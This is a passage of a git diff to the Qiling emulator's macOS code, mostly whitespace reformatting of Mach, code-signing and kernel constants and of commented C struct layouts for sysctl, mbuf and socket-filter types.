b/qiling/os/macos/const.py @@ -6,7 +6,7 @@ # basic values PAGE_SIZE = 0x1000 VMMAP_PAGE_SIZE = 0x100000 -MAX_FD_SIZE = 0xFF +MAX_FD_SIZE = 0xFF MAX_PATH_SIZE = 0x800 # GS @@ -76,61 +76,61 @@ # mach mag flags MACH_MSG_SUCCESS = 0x00000000 -MACH_MSG_MASK = 0x00003e00 -MACH_MSG_IPC_SPACE = 0x00002000 -MACH_MSG_VM_SPACE = 0x00001000 -MACH_MSG_IPC_KERNEL = 0x00000800 -MACH_MSG_VM_KERNEL = 0x00000400 -MACH_SEND_IN_PROGRESS = 0x10000001 -MACH_SEND_INVALID_DATA = 0x10000002 -MACH_SEND_INVALID_DEST = 0x10000003 -MACH_SEND_TIMED_OUT = 0x10000004 -MACH_SEND_INVALID_VOUCHER = 0x10000005 -MACH_SEND_INTERRUPTED = 0x10000007 -MACH_SEND_MSG_TOO_SMALL = 0x10000008 -MACH_SEND_INVALID_REPLY = 0x10000009 -MACH_SEND_INVALID_RIGHT = 0x1000000a -MACH_SEND_INVALID_NOTIFY = 0x1000000b -MACH_SEND_INVALID_MEMORY = 0x1000000c -MACH_SEND_NO_BUFFER = 0x1000000d -MACH_SEND_TOO_LARGE = 0x1000000e -MACH_SEND_INVALID_TYPE = 0x1000000f -MACH_SEND_INVALID_HEADER = 0x10000010 -MACH_SEND_INVALID_TRAILER = 0x10000011 -MACH_SEND_INVALID_RT_OOL_SIZE = 0x10000015 -MACH_RCV_IN_PROGRESS = 0x10004001 -MACH_RCV_INVALID_NAME = 0x10004002 -MACH_RCV_TIMED_OUT = 0x10004003 -MACH_RCV_TOO_LARGE = 0x10004004 -MACH_RCV_INTERRUPTED = 0x10004005 -MACH_RCV_PORT_CHANGED = 0x10004006 -MACH_RCV_INVALID_NOTIFY = 0x10004007 -MACH_RCV_INVALID_DATA = 0x10004008 -MACH_RCV_PORT_DIED = 0x10004009 -MACH_RCV_IN_SET = 0x1000400a -MACH_RCV_HEADER_ERROR = 0x1000400b -MACH_RCV_BODY_ERROR = 0x1000400c -MACH_RCV_INVALID_TYPE = 0x1000400d -MACH_RCV_SCATTER_SMALL = 0x1000400e -MACH_RCV_INVALID_TRAILER = 0x1000400f +MACH_MSG_MASK = 0x00003e00 +MACH_MSG_IPC_SPACE = 0x00002000 +MACH_MSG_VM_SPACE = 0x00001000 +MACH_MSG_IPC_KERNEL = 0x00000800 +MACH_MSG_VM_KERNEL = 0x00000400 +MACH_SEND_IN_PROGRESS = 0x10000001 +MACH_SEND_INVALID_DATA = 0x10000002 +MACH_SEND_INVALID_DEST = 0x10000003 +MACH_SEND_TIMED_OUT = 0x10000004 +MACH_SEND_INVALID_VOUCHER = 0x10000005 +MACH_SEND_INTERRUPTED = 0x10000007 +MACH_SEND_MSG_TOO_SMALL = 0x10000008 +MACH_SEND_INVALID_REPLY = 0x10000009 +MACH_SEND_INVALID_RIGHT = 0x1000000a +MACH_SEND_INVALID_NOTIFY = 0x1000000b +MACH_SEND_INVALID_MEMORY = 0x1000000c +MACH_SEND_NO_BUFFER = 0x1000000d +MACH_SEND_TOO_LARGE = 0x1000000e +MACH_SEND_INVALID_TYPE = 0x1000000f +MACH_SEND_INVALID_HEADER = 0x10000010 +MACH_SEND_INVALID_TRAILER = 0x10000011 +MACH_SEND_INVALID_RT_OOL_SIZE = 0x10000015 +MACH_RCV_IN_PROGRESS = 0x10004001 +MACH_RCV_INVALID_NAME = 0x10004002 +MACH_RCV_TIMED_OUT = 0x10004003 +MACH_RCV_TOO_LARGE = 0x10004004 +MACH_RCV_INTERRUPTED = 0x10004005 +MACH_RCV_PORT_CHANGED = 0x10004006 +MACH_RCV_INVALID_NOTIFY = 0x10004007 +MACH_RCV_INVALID_DATA = 0x10004008 +MACH_RCV_PORT_DIED = 0x10004009 +MACH_RCV_IN_SET = 0x1000400a +MACH_RCV_HEADER_ERROR = 0x1000400b +MACH_RCV_BODY_ERROR = 0x1000400c +MACH_RCV_INVALID_TYPE = 0x1000400d +MACH_RCV_SCATTER_SMALL = 0x1000400e +MACH_RCV_INVALID_TRAILER = 0x1000400f MACH_RCV_IN_PROGRESS_TIMED = 0x10004011 # CS opetions -CS_OPS_STATUS = 0 -CS_OPS_MARKINVALID = 1 -CS_OPS_MARKHARD = 2 -CS_OPS_MARKKILL = 3 -CS_OPS_CDHASH = 5 -CS_OPS_PIDOFFSET = 6 +CS_OPS_STATUS = 0 +CS_OPS_MARKINVALID = 1 +CS_OPS_MARKHARD = 2 +CS_OPS_MARKKILL = 3 +CS_OPS_CDHASH = 5 +CS_OPS_PIDOFFSET = 6 CS_OPS_ENTITLEMENTS_BLOB = 7 -CS_OPS_MARKRESTRICT = 8 -CS_OPS_SET_STATUS = 9 -CS_OPS_BLOB = 10 -CS_OPS_IDENTITY = 11 -CS_OPS_CLEARINSTALLER = 12 +CS_OPS_MARKRESTRICT = 8 +CS_OPS_SET_STATUS = 9 +CS_OPS_BLOB = 10 +CS_OPS_IDENTITY = 11 +CS_OPS_CLEARINSTALLER = 12 CS_OPS_CLEARPLATFORM = 13 CS_OPS_TEAMID = 14 -CS_MAX_TEAMID_LEN = 64 +CS_MAX_TEAMID_LEN = 64 # code signing attributes of a proc CS_VALID = 0x00000001 @@ -164,7 +164,7 @@ CS_ENTITLEMENT_FLAGS = (CS_GET_TASK_ALLOW | CS_INSTALLER | CS_DATAVAULT_CONTROLLER | CS_NVRAM_UNRESTRICTED) # executeable segment flags -CS_EXECSEG_MAIN_BINARY = 0x1 +CS_EXECSEG_MAIN_BINARY = 0x1 CS_EXECSEG_ALLOW_UNSIGNED =0x10 CS_EXECSEG_DEBUGGER = 0x20 CS_EXECSEG_JIT = 0x40 @@ -189,7 +189,7 @@ MACH_SEND_IMPORTANCE = 0x00080000 MACH_SEND_SYNC_OVERRIDE = 0x00100000 MACH_SEND_PROPAGATE_QOS = 0x00200000 -MACH_SEND_SYNC_USE_THRPRI = MACH_SEND_PROPAGATE_QOS +MACH_SEND_SYNC_USE_THRPRI = MACH_SEND_PROPAGATE_QOS MACH_SEND_KERNEL = 0x00400000 MACH_RCV_TIMEOUT = 0x00000100 MACH_RCV_NOTIFY = 0x00000200 @@ -325,10 +325,10 @@ # shared region -SHARED_REGION_BASE_I386 = 0x90000000 +SHARED_REGION_BASE_I386 = 0x90000000 SHARED_REGION_SIZE_I386 = 0x20000000 -SHARED_REGION_NESTING_BASE_I386 = 0x90000000 -SHARED_REGION_NESTING_SIZE_I386 = 0x20000000 +SHARED_REGION_NESTING_BASE_I386 = 0x90000000 +SHARED_REGION_NESTING_SIZE_I386 = 0x20000000 SHARED_REGION_NESTING_MIN_I386 = 0x00200000 SHARED_REGION_NESTING_MAX_I386 = 0xFFE00000 SHARED_REGION_BASE_X86_64 = 0x00007FFF00000000 @@ -503,9 +503,9 @@ COMM_PAGE_UNUSED0 = 0x024 # 2 unused bytes, previouly reserved for expansion of cpu_capabilities */ COMM_PAGE_CACHE_LINESIZE = 0x026 # uint16_t cache line size */ -COMM_PAGE_SCHED_GEN = 0x028 # uint32_t scheduler generation number (count of pre-emptions) */ +COMM_PAGE_SCHED_GEN = 0x028 # uint32_t scheduler generation number (count of pre-emptions) */ COMM_PAGE_MEMORY_PRESSURE = 0x02c # uint32_t copy of vm_memory_pressure */ -COMM_PAGE_SPIN_COUNT = 0x030 # uint32_t max spin count for mutex's */ +COMM_PAGE_SPIN_COUNT = 0x030 # uint32_t max spin count for mutex's */ COMM_PAGE_ACTIVE_CPUS = 0x034 # uint8_t number of active CPUs (hw.activecpu) */ COMM_PAGE_PHYSICAL_CPUS = 0x035 # uint8_t number of physical CPUs (hw.physicalcpu_max) */ diff --git a/qiling/os/macos/events/macos.py b/qiling/os/macos/events/macos.py index 83145f6c0..da863eaa9 100644 --- a/qiling/os/macos/events/macos.py +++ b/qiling/os/macos/events/macos.py @@ -582,30 +582,30 @@ def kauth_vnode(self, action, parent_dir): # arguments passed to KAUTH_FILEOP_OPEN listeners # arg0 is pointer to vnode (vnode *) for given user path. -# arg1 is pointer to path (char *) passed in to open. +# arg1 is pointer to path (char *) passed in to open. # arguments passed to KAUTH_FILEOP_CLOSE listeners # arg0 is pointer to vnode (vnode *) for file to be closed. -# arg1 is pointer to path (char *) of file to be closed. -# arg2 is close flags. +# arg1 is pointer to path (char *) of file to be closed. +# arg2 is close flags. # arguments passed to KAUTH_FILEOP_WILL_RENAME listeners -# arg0 is pointer to vnode (vnode *) of the file being renamed -# arg1 is pointer to the "from" path (char *) -# arg2 is pointer to the "to" path (char *) +# arg0 is pointer to vnode (vnode *) of the file being renamed +# arg1 is pointer to the "from" path (char *) +# arg2 is pointer to the "to" path (char *) # arguments passed to KAUTH_FILEOP_RENAME listeners -# arg0 is pointer to "from" path (char *). -# arg1 is pointer to "to" path (char *). +# arg0 is pointer to "from" path (char *). +# arg1 is pointer to "to" path (char *). # arguments passed to KAUTH_FILEOP_EXCHANGE listeners -# arg0 is pointer to file 1 path (char *). -# arg1 is pointer to file 2 path (char *). +# arg0 is pointer to file 1 path (char *). +# arg1 is pointer to file 2 path (char *). # arguments passed to KAUTH_FILEOP_LINK listeners -# arg0 is pointer to path to file we are linking to (char *). -# arg1 is pointer to path to the new link file (char *). +# arg0 is pointer to path to file we are linking to (char *). +# arg1 is pointer to path to the new link file (char *). # arguments passed to KAUTH_FILEOP_EXEC listeners -# arg0 is pointer to vnode (vnode *) for executable. -# arg1 is pointer to path (char *) to executable. +# arg0 is pointer to vnode (vnode *) for executable. +# arg1 is pointer to path (char *) to executable. # arguments passed to KAUTH_FILEOP_DELETE listeners -# arg0 is pointer to vnode (vnode *) of file/dir that was deleted. -# arg1 is pointer to path (char *) of file/dir that was deleted. +# arg0 is pointer to vnode (vnode *) of file/dir that was deleted. +# arg1 is pointer to path (char *) of file/dir that was deleted. @init_ev_ctx def kauth_fileop(self, action, params={}): path = self.ql.os.heap.alloc(len(self.current_proc) + 1) diff --git a/qiling/os/macos/events/macos_structs.py b/qiling/os/macos/events/macos_structs.py index 77d7f529f..c56cbbbcb 100644 --- a/qiling/os/macos/events/macos_structs.py +++ b/qiling/os/macos/events/macos_structs.py @@ -62,16 +62,16 @@ class MacOSEventType(AutoNumberNormalEvent): EV_IPF_DETACH = () # enum { -# sock_evt_connecting = 1, -# sock_evt_connected = 2, -# sock_evt_disconnecting = 3, -# sock_evt_disconnected = 4, -# sock_evt_flush_read = 5, -# sock_evt_shutdown = 6, /* param points to an integer specifying how (read, write, or both) see man 2 shutdown */ -# sock_evt_cantrecvmore = 7, -# sock_evt_cantsendmore = 8, -# sock_evt_closing = 9, -# sock_evt_bound = 10 +# sock_evt_connecting = 1, +# sock_evt_connected = 2, +# sock_evt_disconnecting = 3, +# sock_evt_disconnected = 4, +# sock_evt_flush_read = 5, +# sock_evt_shutdown = 6, /* param points to an integer specifying how (read, write, or both) see man 2 shutdown */ +# sock_evt_cantrecvmore = 7, +# sock_evt_cantsendmore = 8, +# sock_evt_closing = 9, +# sock_evt_bound = 10 # }; base_event_socket = 0x1000 @@ -131,7 +131,7 @@ class NetworkProtocol(enum.Enum): IPPROTO_IL = 40 IPPROTO_IPV6 = 41 IPPROTO_SDRP = 42 - IPPROTO_ROUTING = 43 + IPPROTO_ROUTING = 43 IPPROTO_FRAGMENT = 44 IPPROTO_IDRP = 45 IPPROTO_RSVP = 46 @@ -214,18 +214,18 @@ class Kauth(enum.Enum): KAUTH_FILEOP_WILL_RENAME = 8 # struct sysctl_oid { -# struct sysctl_oid_list *oid_parent; -# SLIST_ENTRY(sysctl_oid) oid_link; -# int oid_number; -# int oid_kind; -# void *oid_arg1; -# int oid_arg2; -# const char *oid_name; -# int (*oid_handler) SYSCTL_HANDLER_ARGS; -# const char *oid_fmt; -# const char *oid_descr; /* offsetof() field / long description */ -# int oid_version; -# int oid_refcnt; +# struct sysctl_oid_list *oid_parent; +# SLIST_ENTRY(sysctl_oid) oid_link; +# int oid_number; +# int oid_kind; +# void *oid_arg1; +# int oid_arg2; +# const char *oid_name; +# int (*oid_handler) SYSCTL_HANDLER_ARGS; +# const char *oid_fmt; +# const char *oid_descr; /* offsetof() field / long description */ +# int oid_version; +# int oid_refcnt; # }; class sysctl_oid_t(ctypes.Structure): @@ -274,11 +274,11 @@ def dump(self): class sysctl_args_t(ctypes.Structure): _fields_ = ( ("name", ctypes.c_int32 * 2), - ("namelen", ctypes.c_uint32), - ("old", POINTER64), - ("oldlenp", POINTER64), - ("new", POINTER64), - ("newlen", ctypes.c_uint64), + ("namelen", ctypes.c_uint32), + ("old", POINTER64), + ("oldlenp", POINTER64), + ("new", POINTER64), + ("newlen", ctypes.c_uint64), ) def __init__(self, ql, base): @@ -296,12 +296,12 @@ def loadFromMem(self): return newObj # struct sysctlbyname_args { -# const char * name -# size_t namelen -# void * old -# size_t * oldlenp -# void * new -# size_t newlen +# const char * name +# size_t namelen +# void * old +# size_t * oldlenp +# void * new +# size_t newlen # } class sysctlbyname_args_t(ctypes.Structure): @@ -329,16 +329,16 @@ def loadFromMem(self): return newObj # struct sysctl_req { -# struct proc *p; -# int lock; -# user_addr_t oldptr; /* pointer to user supplied buffer */ -# size_t oldlen; /* user buffer length (also returned) */ -# size_t oldidx; /* total data iteratively copied out */ -# int (*oldfunc)(struct sysctl_req *, const void *, size_t); -# user_addr_t newptr; /* buffer containing new value */ -# size_t newlen; /* length of new value */ -# size_t newidx; /* total data iteratively copied in */ -# int (*newfunc)(struct sysctl_req *, void *, size_t); +# struct proc *p; +# int lock; +# user_addr_t oldptr; /* pointer to user supplied buffer */ +# size_t oldlen; /* user buffer length (also returned) */ +# size_t oldidx; /* total data iteratively copied out */ +# int (*oldfunc)(struct sysctl_req *, const void *, size_t); +# user_addr_t newptr; /* buffer containing new value */ +# size_t newlen; /* length of new value */ +# size_t newidx; /* total data iteratively copied in */ +# int (*newfunc)(struct sysctl_req *, void *, size_t); # }; class sysctl_req_t(ctypes.Structure): @@ -371,26 +371,26 @@ def loadFromMem(self): # struct kern_ctl_reg # { -# /* control information */ -# char ctl_name[MAX_KCTL_NAME]; -# u_int32_t ctl_id; -# u_int32_t ctl_unit; +# /* control information */ +# char ctl_name[MAX_KCTL_NAME]; +# u_int32_t ctl_id; +# u_int32_t ctl_unit; # # /* control settings */ -# u_int32_t ctl_flags; -# u_int32_t ctl_sendsize; -# u_int32_t ctl_recvsize; +# u_int32_t ctl_flags; +# u_int32_t ctl_sendsize; +# u_int32_t ctl_recvsize; # # /* Dispatch functions */ -# ctl_connect_func ctl_connect; -# ctl_disconnect_func ctl_disconnect; -# ctl_send_func ctl_send; -# ctl_setopt_func ctl_setopt; -# ctl_getopt_func ctl_getopt; +# ctl_connect_func ctl_connect; +# ctl_disconnect_func ctl_disconnect; +# ctl_send_func ctl_send; +# ctl_setopt_func ctl_setopt; +# ctl_getopt_func ctl_getopt; # #ifdef KERNEL_PRIVATE -# ctl_rcvd_func ctl_rcvd; /* Only valid if CTL_FLAG_REG_EXTENDED is set */ -# ctl_send_list_func ctl_send_list; /* Only valid if CTL_FLAG_REG_EXTENDED is set */ -# ctl_bind_func ctl_bind; +# ctl_rcvd_func ctl_rcvd; /* Only valid if CTL_FLAG_REG_EXTENDED is set */ +# ctl_send_list_func ctl_send_list; /* Only valid if CTL_FLAG_REG_EXTENDED is set */ +# ctl_bind_func ctl_bind; # #endif /* KERNEL_PRIVATE */ # }; @@ -437,12 +437,12 @@ def dump(self): # struct sockaddr_ctl { -# u_char sc_len; /* depends on size of bundle ID string */ -# u_char sc_family; /* AF_SYSTEM */ -# u_int16_t ss_sysaddr; /* AF_SYS_KERNCONTROL */ -# u_int32_t sc_id; /* Controller unique identifier */ -# u_int32_t sc_unit; /* Developer private unit number */ -# u_int32_t sc_reserved[5]; +# u_char sc_len; /* depends on size of bundle ID string */ +# u_char sc_family; /* AF_SYSTEM */ +# u_int16_t ss_sysaddr; /* AF_SYS_KERNCONTROL */ +# u_int32_t sc_id; /* Controller unique identifier */ +# u_int32_t sc_unit; /* Developer private unit number */ +# u_int32_t sc_reserved[5]; # }; class sockaddr_ctl_t(ctypes.Structure): @@ -470,12 +470,12 @@ def loadFromMem(self): return newObj # struct m_hdr { -# struct mbuf *mh_next; /* next buffer in chain */ -# struct mbuf *mh_nextpkt; /* next chain in queue/record */ -# caddr_t mh_data; /* location of data */ -# int32_t mh_len; /* amount of data in this mbuf */ -# u_int16_t mh_type; /* type of data in this mbuf */ -# u_int16_t mh_flags; /* flags; see below */ +# struct mbuf *mh_next; /* next buffer in chain */ +# struct mbuf *mh_nextpkt; /* next chain in queue/record */ +# caddr_t mh_data; /* location of data */ +# int32_t mh_len; /* amount of data in this mbuf */ +# u_int16_t mh_type; /* type of data in this mbuf */ +# u_int16_t mh_flags; /* flags; see below */ # } class m_hdr_t(ctypes.Structure): @@ -496,18 +496,18 @@ class tag_t(ctypes.Structure): # struct tcp_pktinfo { # union { # struct { -# u_int32_t segsz; /* segment size (actual MSS) */ -# u_int32_t start_seq; /* start seq of this packet */ +# u_int32_t segsz; /* segment size (actual MSS) */ +# u_int32_t start_seq; /* start seq of this packet */ # } __tx; # struct { -# u_int16_t lro_pktlen; /* max seg size encountered */ -# u_int8_t lro_npkts; /* # of coalesced TCP pkts */ -# u_int8_t lro_timediff; /* time spent in LRO */ +# u_int16_t lro_pktlen; /* max seg size encountered */ +# u_int8_t lro_npkts; /* # of coalesced TCP pkts */ +# u_int8_t lro_timediff; /* time spent in LRO */ # } __rx; # } __offload; # union { -# u_int32_t pri; /* send msg priority */ -# u_int32_t seq; /* recv msg sequence # */ +# u_int32_t pri; /* send msg priority */ +# u_int32_t seq; /* recv msg sequence # */ # } __msgattr; # }; class tcp_pktinfo_t(ctypes.Structure): @@ -538,10 +538,10 @@ class __msgattr_u(ctypes.Union): ) # struct mptcp_pktinfo { -# u_int64_t mtpi_dsn; /* MPTCP Data Sequence Number */ -# u_int32_t mtpi_rel_seq; /* Relative Seq Number */ -# u_int16_t mtpi_length; /* Length of mapping */ -# u_int16_t mtpi_csum; +# u_int64_t mtpi_dsn; /* MPTCP Data Sequence Number */ +# u_int32_t mtpi_rel_seq; /* Relative Seq Number */ +# u_int16_t mtpi_length; /* Length of mapping */ +# u_int16_t mtpi_csum; # }; class mptcp_pktinfo_t(ctypes.Structure): _fields_ = ( @@ -553,8 +553,8 @@ class mptcp_pktinfo_t(ctypes.Structure): # struct tcp_mtag { # union { -# struct tcp_pktinfo tm_tcp; /* TCP and below */ -# struct mptcp_pktinfo tm_mptcp; /* MPTCP-TCP only */ +# struct tcp_pktinfo tm_tcp; /* TCP and below */ +# struct mptcp_pktinfo tm_mptcp; /* MPTCP-TCP only */ # }; # }; class tcp_mtag_t(ctypes.Structure): @@ -570,7 +570,7 @@ class pktinfo_u(ctypes.Union): # struct proto_mtag_ { # union { -# struct tcp_mtag tcp; /* TCP specific */ +# struct tcp_mtag tcp; /* TCP specific */ # } __pr_u; # }; class proto_mtag__t(ctypes.Structure): @@ -583,12 +583,12 @@ class __pr_u_u(ctypes.Union): ) # struct pf_mtag { -# u_int16_t pftag_flags; /* PF_TAG flags */ -# u_int16_t pftag_rtableid; /* alternate routing table id */ -# u_int16_t pftag_tag; -# u_int16_t pftag_routed; +# u_int16_t pftag_flags; /* PF_TAG flags */ +# u_int16_t pftag_rtableid; /* alternate routing table id */ +# u_int16_t pftag_tag; +# u_int16_t pftag_routed; # #if PF_ECN -# void *pftag_hdr; /* saved hdr pos in mbuf, for ECN */ +# void *pftag_hdr; /* saved hdr pos in mbuf, for ECN */ # #endif /* PF_ECN */ # }; class pf_mtag_t(ctypes.Structure): @@ -600,10 +600,10 @@ class pf_mtag_t(ctypes.Structure): ) # struct necp_mtag_ { -# u_int32_t necp_policy_id; -# u_int32_t necp_last_interface_index; -# u_int32_t necp_route_rule_id; -# u_int32_t necp_app_id; +# u_int32_t necp_policy_id; +# u_int32_t necp_last_interface_index; +# u_int32_t necp_route_rule_id; +# u_int32_t necp_app_id; # }; class necp_mtag__t(ctypes.Structure): _fields_ = ( @@ -617,16 +617,16 @@ class necp_mtag__t(ctypes.Structure): # struct { # union { -# u_int8_t __mpriv8[16]; -# u_int16_t __mpriv16[8]; +# u_int8_t __mpriv8[16]; +# u_int16_t __mpriv16[8]; # struct { # union { -# u_int8_t __val8[4]; -# u_int16_t __val16[2]; -# u_int32_t __val32; +# u_int8_t __val8[4]; +# u_int16_t __val16[2]; +# u_int32_t __val32; # } __mpriv32_u; # } __mpriv32[4]; -# u_int64_t __mpriv64[2]; +# u_int64_t __mpriv64[2]; # } __mpriv_u; # } pkt_mpriv __attribute__((aligned(4))); class pkt_mpriv_t(ctypes.Structure): @@ -650,63 +650,63 @@ class __mpriv32_u_u(ctypes.Union): ) # struct pkthdr { -# struct ifnet *rcvif; /* rcv interface */ -# void *pkt_hdr; /* pointer to packet header */ -# int32_t len; /* total packet length */ -# u_int32_t csum_flags; /* flags regarding checksum */ -# union { -# struct { -# u_int16_t val; /* checksum value */ -# u_int16_t start; /* checksum start offset */ -# } _csum_rx; -# struct { -# u_int16_t start; /* checksum start offset */ -# u_int16_t stuff; /* checksum stuff offset */ -# } _csum_tx; -# u_int32_t csum_data; /* data field used by csum routines */ -# }; -# u_int16_t vlan_tag; /* VLAN tag, host byte order */ -# u_int8_t pkt_proto; /* IPPROTO value */ -# u_int8_t pkt_flowsrc; /* FLOWSRC values */ -# u_int32_t pkt_flowid; /* flow ID */ -# u_int32_t pkt_flags; /* PKTF flags (see below) */ -# u_int32_t pkt_svc; /* MBUF_SVC value */ +# struct ifnet *rcvif; /* rcv interface */ +# void *pkt_hdr; /* pointer to packet header */ +# int32_t len; /* total packet length */ +# u_int32_t csum_flags; /* flags regarding checksum */ +# union { +# struct { +# u_int16_t val; /* checksum value */ +# u_int16_t start; /* checksum start offset */ +# } _csum_rx; +# struct { +# u_int16_t start; /* checksum start offset */ +# u_int16_t stuff; /* checksum stuff offset */ +# } _csum_tx; +# u_int32_t csum_data; /* data field used by csum routines */ +# }; +# u_int16_t vlan_tag; /* VLAN tag, host byte order */ +# u_int8_t pkt_proto; /* IPPROTO value */ +# u_int8_t pkt_flowsrc; /* FLOWSRC values */ +# u_int32_t pkt_flowid; /* flow ID */ +# u_int32_t pkt_flags; /* PKTF flags (see below) */ +# u_int32_t pkt_svc; /* MBUF_SVC value */ # -# u_int32_t pkt_compl_context; /* Packet completion context */ +# u_int32_t pkt_compl_context; /* Packet completion context */ # -# union { -# struct { -# u_int16_t src; /* ifindex of src addr i/f */ -# u_int16_t src_flags; /* src PKT_IFAIFF flags */ -# u_int16_t dst; /* ifindex of dst addr i/f */ -# u_int16_t dst_flags; /* dst PKT_IFAIFF flags */ -# } _pkt_iaif; -# u_int64_t pkt_ifainfo; /* data field used by ifainfo */ -# struct { -# u_int32_t if_data; /* bytes in interface queue */ -# u_int32_t sndbuf_data; /* bytes in socket buffer */ -# } _pkt_bsr; /* Buffer status report used by cellular interface */ -# }; -# u_int64_t pkt_timestamp; /* enqueue time */ +# union { +# struct { +# u_int16_t src; /* ifindex of src addr i/f */ +# u_int16_t src_flags; /* src PKT_IFAIFF flags */ +# u_int16_t dst; /* ifindex of dst addr i/f */ +# u_int16_t dst_flags; /* dst PKT_IFAIFF flags */ +# } _pkt_iaif; +# u_int64_t pkt_ifainfo; /* data field used by ifainfo */ +# struct { +# u_int32_t if_data; /* bytes in interface queue */ +# u_int32_t sndbuf_data; /* bytes in socket buffer */ +# } _pkt_bsr; /* Buffer status report used by cellular interface */ +# }; +# u_int64_t pkt_timestamp; /* enqueue time */ # -# SLIST_HEAD(packet_tags, m_tag) tags; /* list of external tags */ -# union builtin_mtag builtin_mtag; -# struct { -# union { -# u_int8_t __mpriv8[16]; -# u_int16_t __mpriv16[8]; -# struct { -# union { -# u_int8_t __val8[4]; -# u_int16_t __val16[2]; -# u_int32_t __val32; -# } __mpriv32_u; -# } __mpriv32[4]; -# u_int64_t __mpriv64[2]; -# } __mpriv_u; -# } pkt_mpriv __attribute__((aligned(4))); -# u_int32_t redzone; /* red zone */ -# u_int32_t pkt_compl_callbacks; /* Packet completion callbacks */ +# SLIST_HEAD(packet_tags, m_tag) tags; /* list of external tags */ +# union builtin_mtag builtin_mtag; +# struct { +# union { +# u_int8_t __mpriv8[16]; +# u_int16_t __mpriv16[8]; +# struct { +# union { +# u_int8_t __val8[4]; +# u_int16_t __val16[2]; +# u_int32_t __val32; +# } __mpriv32_u; +# } __mpriv32[4]; +# u_int64_t __mpriv64[2]; +# } __mpriv_u; +# } pkt_mpriv __attribute__((aligned(4))); +# u_int32_t redzone; /* red zone */ +# u_int32_t pkt_compl_callbacks; /* Packet completion callbacks */ # }; class pkthdr_t(ctypes.Structure): @@ -747,19 +747,19 @@ class _pkt_bsr_t(ctypes.Structure): ) # union builtin_mtag { -# struct { -# struct proto_mtag_ _proto_mtag; /* built-in protocol-specific tag */ -# struct pf_mtag _pf_mtag; /* built-in PF tag */ -# struct necp_mtag_ _necp_mtag; /* built-in NECP tag */ -# } _net_mtag; -# struct driver_mtag_ _drv_mtag; +# struct { +# struct proto_mtag_ _proto_mtag; /* built-in protocol-specific tag */ +# struct pf_mtag _pf_mtag; /* built-in PF tag */ +# struct necp_mtag_ _necp_mtag; /* built-in NECP tag */ +# } _net_mtag; +# struct driver_mtag_ _drv_mtag; # } class builtin_mtag_u(ctypes.Union): # struct driver_mtag_ { -# uintptr_t _drv_tx_compl_arg; -# uintptr_t _drv_tx_compl_data; -# kern_return_t _drv_tx_status; -# uint16_t _drv_flowid; +# uintptr_t _drv_tx_compl_arg; +# uintptr_t _drv_tx_compl_data; +# kern_return_t _drv_tx_status; +# uint16_t _drv_flowid; # }; class driver_mtag__t(ctypes.Structure): _fields_ = ( @@ -803,19 +803,19 @@ class _net_mtag_t(ctypes.Structure): ) # struct m_ext { -# caddr_t ext_buf; /* start of buffer */ -# m_ext_free_func_t ext_free; /* free routine if not the usual */ -# u_int ext_size; /* size of buffer, for ext_free */ -# caddr_t ext_arg; /* additional ext_free argument */ -# struct ext_ref { -# struct mbuf *paired; -# u_int16_t minref; -# u_int16_t refcnt; -# u_int16_t prefcnt; -# u_int16_t flags; -# u_int32_t priv; -# uintptr_t ext_token; -# } *ext_refflags; +# caddr_t ext_buf; /* start of buffer */ +# m_ext_free_func_t ext_free; /* free routine if not the usual */ +# u_int ext_size; /* size of buffer, for ext_free */ +# caddr_t ext_arg; /* additional ext_free argument */ +# struct ext_ref { +# struct mbuf *paired; +# u_int16_t minref; +# u_int16_t refcnt; +# u_int16_t prefcnt; +# u_int16_t flags; +# u_int32_t priv; +# uintptr_t ext_token; +# } *ext_refflags; # }; class ext_ref(ctypes.Structure): _fields_ = ( @@ -837,23 +837,23 @@ class m_ext_t(ctypes.Structure): ) # struct mbuf { -# struct m_hdr m_hdr; -# union { -# struct { -# struct pkthdr MH_pkthdr; /* M_PKTHDR set */ -# union { -# struct m_ext MH_ext; /* M_EXT set */ -# char MH_databuf[_MHLEN]; -# } MH_dat; -# } MH; -# char M_databuf[_MLEN]; /* !M_PKTHDR, !M_EXT */ -# } M_dat; +# struct m_hdr m_hdr; +# union { +# struct { +# struct pkthdr MH_pkthdr; /* M_PKTHDR set */ +# union { +# struct m_ext MH_ext; /* M_EXT set */ +# char MH_databuf[_MHLEN]; +# } MH_dat; +# } MH; +# char M_databuf[_MLEN]; /* !M_PKTHDR, !M_EXT */ +# } M_dat; # }; -#define MSIZESHIFT 8 /* 256 */ -#define MSIZE (1 << MSIZESHIFT) /* size of an mbuf */ -#define _MLEN (MSIZE - sizeof(struct m_hdr)) /* normal data len */ -#define _MHLEN (_MLEN - sizeof(struct pkthdr)) /* data len w/pkthdr */ +#define MSIZESHIFT 8 /* 256 */ +#define MSIZE (1 << MSIZESHIFT) /* size of an mbuf */ +#define _MLEN (MSIZE - sizeof(struct m_hdr)) /* normal data len */ +#define _MHLEN (_MLEN - sizeof(struct pkthdr)) /* data len w/pkthdr */ MSIZESHIFT = 8 MSIZE = (1 << MSIZESHIFT) @@ -897,12 +897,12 @@ def loadFromMem(self): # enum sopt_dir { SOPT_GET, SOPT_SET }; # struct sockopt { -# enum sopt_dir sopt_dir; /* is this a get or a set? */ -# int sopt_level; /* second arg of [gs]etsockopt */ -# int sopt_name; /* third arg of [gs]etsockopt */ -# void* sopt_val; /* fourth arg of [gs]etsockopt */ -# size_t sopt_valsize; /* (almost) fifth arg of [gs]etsockopt */ -# void *sopt_p; /* calling process or null if kernel */ +# enum sopt_dir sopt_dir; /* is this a get or a set? */ +# int sopt_level; /* second arg of [gs]etsockopt */ +# int sopt_name; /* third arg of [gs]etsockopt */ +# void* sopt_val; /* fourth arg of [gs]etsockopt */ +# size_t sopt_valsize; /* (almost) fifth arg of [gs]etsockopt */ +# void *sopt_p; /* calling process or null if kernel */ # }; class sockopt_t(ctypes.Structure): @@ -930,36 +930,36 @@ def loadFromMem(self): return newObj # struct sflt_filter { -# sflt_handle sf_handle; -# int sf_flags; -# char *sf_name; +# sflt_handle sf_handle; +# int sf_flags; +# char *sf_name; # -# sf_unregistered_func sf_unregistered; -# sf_attach_func sf_attach; -# sf_detach_func sf_detach; +# sf_unregistered_func sf_unregistered; +# sf_attach_func sf_attach; +# sf_detach_func sf_detach; # -# sf_notify_func sf_notify; -# sf_getpeername_func sf_getpeername; -# sf_getsockname_func sf_getsockname; -# sf_data_in_func sf_data_in; -# sf_data_out_func sf_data_out; -# sf_connect_in_func sf_connect_in; -# sf_connect_out_func sf_connect_out; -# sf_bind_func sf_bind; -# sf_setoption_func sf_setoption; -# sf_getoption_func sf_getoption; -# sf_listen_func sf_listen; -# 